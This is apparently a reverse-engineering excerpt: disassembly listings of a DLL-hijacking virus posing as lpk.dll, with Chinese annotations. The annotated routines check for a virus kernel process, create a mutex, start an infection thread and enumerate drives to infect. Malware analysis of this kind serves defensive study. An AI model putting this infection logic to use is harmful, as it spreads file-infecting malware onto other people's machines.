.text:10001A32 ; =============== S U B R O U T I N E =======================================
.text:10001A32
.text:10001A32
.text:10001A32 ; BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID
lpReserved)
.text:10001A32 public DllEntryPoint
.text:10001A32 DllEntryPoint proc near
.text:10001A32
.text:10001A32 hLibModule = dword ptr 4
.text:10001A32 fdwReason = dword ptr 8
.text:10001A32 lpReserved = dword ptr 0Ch
.text:10001A32
.text:10001A32
cmp
[esp+fdwReason], 1
.text:10001A37 push esi
.text:10001A38 jnz short loc_10001AA9
.text:10001A3A mov esi, [esp+4+hLibModule]
.text:10001A3E push 104h ; nSize
.text:10001A43 push offset ExistingFileName ; lpFilename
.text:10001A48 push esi ; hModule
.text:10001A49 mov dword_10003290, esi
.text:10001A4F call ds:GetModuleFileNameW
.text:10001A55 push esi ; hLibModule
.text:10001A56 call ds:DisableThreadLibraryCalls
.text:10001A5C call GetMutexName
.text:10001A61
cmp
eax, 1
.text:10001A64 jnz short loc_10001AA2
.text:10001A66 call IsVirusKernelFile ;用来判断是否由病毒核
心进程释放
.text:10001A6B
test
eax, eax
.text:10001A6D jnz short loc_10001A7D
.text:10001A6F call CreateMutex
.text:10001A74
test
eax, eax
.text:10001A76 jnz short loc_10001A7D
.text:10001A78 call ExpandVirusKernel
.text:10001A7D
.text:10001A7D loc_10001A7D: ; CODE XREF: DllEntryPoint+3Bj
.text:10001A7D ; DllEntryPoint+44j
.text:10001A7D call IsCurrentFileLpk
.text:10001A82
cmp
eax, 1
.text:10001A85 jnz short loc_10001AA2
.text:10001A87 push 0 ; lpName
.text:10001A89 push 0 ; bInitialState
.text:10001A8B push eax ; bManualReset
.text:10001A8C push 0 ; lpEventAttributes
.text:10001A8E call ds:CreateEventW
.text:10001A94 mov hHandle, eax
.text:10001A99
test
eax, eax
.text:10001A9B jz short loc_10001AA2
.text:10001A9D call StartInfectThraed
.text:10001AA2
.text:10001AA2 loc_10001AA2: ; CODE XREF: DllEntryPoint+32j
.text:10001AA2 ; DllEntryPoint+53j ...
.text:10001AA2 call InitLpk
.text:10001AA7 jmp short loc_10001AEC
.text:10001AA9 ; ---------------------------------------------------------------------------
009119E6 <lpk11.StartThread> /$ 56 push esi
009119E7 |. 33F6 xor esi, esi
009119E9 |. 56 push esi ;
/pThreadId
=> NULL
009119EA |. 6A 04 push 4 ; |
CreationFlags = CREATE_SUSPENDED
009119EC |. 56 push esi ; |
pThreadParm => NULL
009119ED |. 68 D3189100 push <FuckAllDisk> ; |
ThreadFunction = <lpk11.FuckAllDisk>
009119F2 |. 56 push esi ; |
StackSize => 0
009119F3 |. 56 push esi ; |
pSecurity => NULL
009119F4 |. FF15 A0209100 call dword ptr [<&KERNEL32.CreateThre>;
\CreateThread
009118D3 <lpk11.FuckAllDisk> . 81EC C4000000 sub esp, 0C4
009118D9 . 53 push ebx
009118DA . 55 push ebp
009118DB . 56 push esi
009118DC . 57 push edi
009118DD . 6A 60 push 60 ;
/Length
= 60 (96.)
009118DF . 8D4424 78 lea eax, dword ptr [esp+78] ; |
009118E3 . 50 push eax ; |
Destination
009118E4 . 33FF xor edi, edi ; |
009118E6 . FF15 34209100 call dword ptr [<&KERNEL32.RtlZeroMem>;
\RtlZeroMemory
009118EC > 6A 02 push 2
009118EE . 5B pop ebx
009118EF . 8D6C24 74 lea ebp, dword ptr [esp+74]
009118F3 . C74424 10 180>mov dword ptr [esp+10], 18
009118FB > 837D 00 01
cmp
dword ptr [ebp], 1
009118FF . 74 5B je short 0091195C
00911901 . 53 push ebx
00911902 . FF15 B4209100 call dword ptr [<&SHELL32.
shell32.DriveType
00911908 . 83C0 FE add eax, -2
0091190B . 83F8 02
cmp
eax, 2 ; 类
型否为可感染类型?
0091190E . 77 4C ja short 0091195C
00911910 . 33C0 xor eax, eax
00911912 . 50 push eax ;
/pThreadId
=> NULL
00911913 . 6A 04 push 4 ; |
CreationFlags = CREATE_SUSPENDED
00911915 . 53 push ebx ; |
pThreadParm
00911916 . 68 77169100 push <Infect> ; |
ThreadFunction = <lpk11.Infect>
0091191B . 50 push eax ; |
StackSize => 0
0091191C . 50 push eax ; |
pSecurity => NULL
0091191D . FF15 A0209100 call dword ptr [<&KERNEL32.CreateThre>;
\CreateThread